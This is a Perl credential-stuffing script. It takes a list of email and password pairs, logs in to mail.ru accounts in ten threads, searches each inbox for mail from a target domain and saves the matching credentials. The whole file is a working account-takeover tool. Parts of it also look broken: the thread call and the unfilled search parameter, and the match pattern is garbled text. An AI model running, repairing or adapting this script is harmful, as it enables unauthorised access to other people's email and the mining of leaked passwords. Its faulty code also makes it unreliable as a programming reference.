#!/usr/bin/perl

use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
my @mails:shared;
#############################
my $mfile = 'mails.txt';
my $ofile = 'found.txt';
my $find = 'x3.ru';
my $threads = 10;
#############################
open (M, "<$mfile");
open (F, ">>$ofile");
@mails = <M>;
my @trl;
for(0..$threads) {$trl[$_] = threads->create(&all, $_);}
for(@trl) { $_->join; }
sub all
{
while (@mails){
my $mail = shift @mails;
my ($log,$pwd) = split(/;/,$mail);
my ($login,$dom) = split(/@/,$log);
my $ua = LWP::UserAgent->new;
$ua->cookie_jar(HTTP::Cookies->new);
my $response = $ua->post('http://win.mail.ru/cgi-bin/auth', {
"Login" => $login,
"Domain" => $dom,
"Password" => $pwd
})->as_string;
my $resp = $ua->get('http://win.mail.ru/cgi-bin/search?q_from=".$find."&q_to=&q_subj=&advanced=0&qc_from=1&qc_to=1&qc_subj=1&q_folder=all')->as_string;
if ($resp =~ /&Atilde;&Atilde;&yen;&Atilde;&sect;&Atilde;&sup3;&Atilde;&laquo;&Atilde;&frac14;&Atilde;&sup2;&Atilde;&nbsp;&Atilde;&sup2;&Atilde;&raquo;/){
print F $mail."
";
print $mail."
";
print $resp;
}
}
}
close(M);
close(F);